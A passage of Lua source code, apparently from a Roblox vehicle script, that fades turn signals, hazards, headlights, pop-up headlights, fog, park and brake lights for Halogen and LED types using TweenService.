if string.sub(child.Name, 1, 2) == "SI" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
child.Transparency = 1
end
end
end
end
end
end
end
F.SignalRight = function(flash_rate, state, active, tb, type, seq, max_segs, current_segment)
if active then
if not seq then
if state then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 0})
gtwe:Play()
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 1, Range = 16})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 0})
gtwe:Play()
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 1
child.Range = 16
elseif child.Name == "LN" then
child.Transparency = 0.02
end
end
end
wait(flash_rate)
else
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe:Play()
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe:Play()
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
wait(flash_rate)
end
else
if state then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 0})
gtwe:Play()
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif type == "LED" then
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
child.Transparency = 0.02
end
end
end
else
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe:Play()
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
child.Transparency = 1
end
end
end
end
end
else
if not seq then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe:Play()
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
wait(flash_rate)
else
if state then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 0})
gtwe:Play()
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif type == "LED" then
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
child.Transparency = 0.02
end
end
end
else
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe:Play()
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
child.Transparency = 1
end
end
end
end
end
end
end
F.Hazards = function(flash_rate, state, active, tb, type, seq, max_segs, current_segment)
if active then
if not seq then
if state then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 0})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 1, Range = 16})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 1, Range = 16})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 0})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 2
child.Range = 16
elseif child.Name == "LN" then
child.Transparency = 0
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 2
child.Range = 16
elseif child.Name == "LN" then
child.Transparency = 0
end
end
end
wait(flash_rate)
else
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
wait(flash_rate)
end
else
if state then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 0})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 0})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
child.Transparency = 0.02
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child.Name == "SI"..tostring(current_segment) then
child.Transparency = 0.02
end
end
end
wait(flash_rate)
else
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
child.Transparency = 1
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
child.Transparency = 1
end
end
end
wait(flash_rate)
end
end
else
if not seq then
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
wait(flash_rate)
else
if type == "Halogen" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
child.Transparency = 1
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if string.sub(child.Name, 1, 2) == "SI" then
child.Transparency = 1
end
end
end
wait(flash_rate)
end
end
end
F.Headlights = function(state, fade_time, tb, type)
if type == "Halogen" then
if state == 0 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
if plactive then
for idx, child in pairs(lights.Headlights.Low:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.7})
tw:Play()
end
end
for idx, child in pairs(lights.Headlights.High:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif not plactive then
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
end
elseif state == 1 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.Headlights.Low:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 2, Range = 48})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.2})
tw:Play()
end
end
elseif state == 2 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 3.5, Range = 60})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif state == 3 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 4.25, Range = 60})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
end
elseif type == "LED" then
if state == 0 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
if plactive then
for idx, child in pairs(lights.Headlights.Low:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 0.7
end
end
for idx, child in pairs(lights.Headlights.High:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
elseif not plactive then
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
elseif state == 1 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 2
child.Range = 48
elseif child.Name == "LN" then
child.Transparency = 0.2
end
end
elseif state == 2 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 3.5
child.Range = 60
elseif child.Name == "LN" then
child.Transparency = 0.02
end
end
elseif state == 3 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 4.25
child.Range = 60
elseif child.Name == "LN" then
child.Transparency = 0.02
end
end
end
end
end
F.Popups = function(state, enabled)
if enabled then
local motor = PHeadlights.Hinge:WaitForChild("Motor")
motor.MaxVelocity = 0.08
if state then
motor.DesiredAngle = -0.75
elseif not state then
motor.DesiredAngle = 0
end
end
end
F.PopupLights = function(state, fade_time, tb, type)
if type == "Halogen" then
if state == 0 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
if plactive then
for idx, child in pairs(PHeadlights.Parts.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.7})
tw:Play()
end
end
elseif not plactive then
for idx, child in pairs(PHeadlights.Parts.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
end
elseif state == 1 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(PHeadlights.Parts.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 2, Range = 48})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.2})
tw:Play()
end
end
elseif state == 2 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(PHeadlights.Parts.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 3.5, Range = 60})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif state == 3 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(PHeadlights.Parts.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 4.25, Range = 60})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
end
elseif type == "LED" then
if state == 0 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
if plactive then
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 0.7
end
end
elseif not plactive then
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
elseif state == 1 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 2
child.Range = 48
elseif child.Name == "LN" then
child.Transparency = 0.2
end
end
elseif state == 2 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 3.5
child.Range = 60
elseif child.Name == "LN" then
child.Transparency = 0.02
end
end
elseif state == 3 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[1], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
local gtwe2 = TweenService:Create(tb[2], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
gtwe2:Play()
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 4.25
child.Range = 60
elseif child.Name == "LN" then
child.Transparency = 0.02
end
end
end
end
end
F.FogLights = function(state, fade_time, tb, type)
if state then
if type == "Halogen" then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[4], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
gtwe1:Play()
for idx, child in pairs(lights.Fog:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 3.75, Range = 60})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[4], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
gtwe1:Play()
for idx, child in pairs(lights.Fog:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 3.75
child.Range = 60
elseif child.Name == "LN" then
child.Transparency = 0.02
end
end
end
elseif not state then
if type == "Halogen" then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[4], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
for idx, child in pairs(lights.Fog:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
elseif type == "LED" then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
local gtwe1 = TweenService:Create(tb[4], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe1:Play()
for idx, child in pairs(lights.Fog:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
end
end
F.ParkLights = function(state, tb)
if state then
local gtwe = TweenService:Create(tb[3], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 0})
gtwe:Play()
plactive = true
else
local gtwe = TweenService:Create(tb[3], TweenInfo.new(0.05, Enum.EasingStyle.Quint), {ImageTransparency = 1})
gtwe:Play()
plactive = false
end
end
F.BrakeLights = function(state, fade_time, type)
if type == "Halogen" then
if state then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
for idx, child in pairs(lights.Brake:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 2.5, Range = 38})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.02})
tw:Play()
end
end
else
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
for idx, child in pairs(lights.Brake:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
end
elseif type == "LED" then
if state then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
for idx, child in pairs(lights.Brake:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 3.5
child.Range = 38
